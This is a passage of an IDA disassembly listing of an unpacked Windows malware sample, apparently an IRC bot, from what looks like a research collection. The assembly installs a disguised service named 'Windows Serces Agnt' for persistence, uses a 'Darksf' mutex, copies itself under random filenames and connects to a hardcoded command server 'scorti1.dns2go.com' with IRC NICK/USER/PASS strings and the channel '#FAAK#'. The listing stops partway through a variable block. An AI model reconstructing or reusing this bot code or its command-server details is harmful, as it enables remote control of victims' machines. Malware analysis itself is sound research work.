;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	93AA93B210569B39600D7B8B4567BE5B

; File Name   :	u:\work\93aa93b210569b39600d7b8b4567be5b_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsSercesA ; "Windows Serces Agnt"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB988
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB9F8
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB938


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9B0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E91C
		call	dword_4CBA6C
		call	sub_40B583
		call	dword_4CB92C
		call	dword_4CB92C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB88
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2680B8Eh
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB80
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB710, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB714, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA80
		push	7530h
		push	offset aDarksf	; "Darksf"
		push	ebx
		push	ebx
		nop
		call	near ptr 26C0000h
		push	eax
		call	near ptr 26B0D3Ch
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB944
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 26A0000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26B0C06h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AC8
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 26B0B43h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 26B0A02h
		nop


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		call	near ptr 26B0669h
		nop
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 26A068Bh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26B0A02h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB88
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 26B0604h
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_433094o
		nop
		call	near ptr 26B0000h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		call	near ptr 2680B8Eh
		nop
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 26A068Bh
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB92C
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBDF8, 2
		jle	short loc_401562
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26B0D3Ch
		push	esi
		nop
		call	near ptr 26808BBh
		mov	eax, dword_4DBDFC
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 26A068Bh
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+8]
		call	near ptr 26A0927h
		nop


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAA4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DB90
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 26B0669h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A34
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 26B0669h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		mov	dword_4CB888, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB79C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7DC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB870, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB718
		mov	dword_4CB884, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB884, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		call	near ptr 26A068Bh
		nop
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB92C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E928
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA6C
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 26A068Bh
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD0
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA6C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB880, bl
		jz	short loc_40199A
		push	offset byte_4CB880
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA6C
		push	1388h
		nop
		call	near ptr 26A068Bh


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
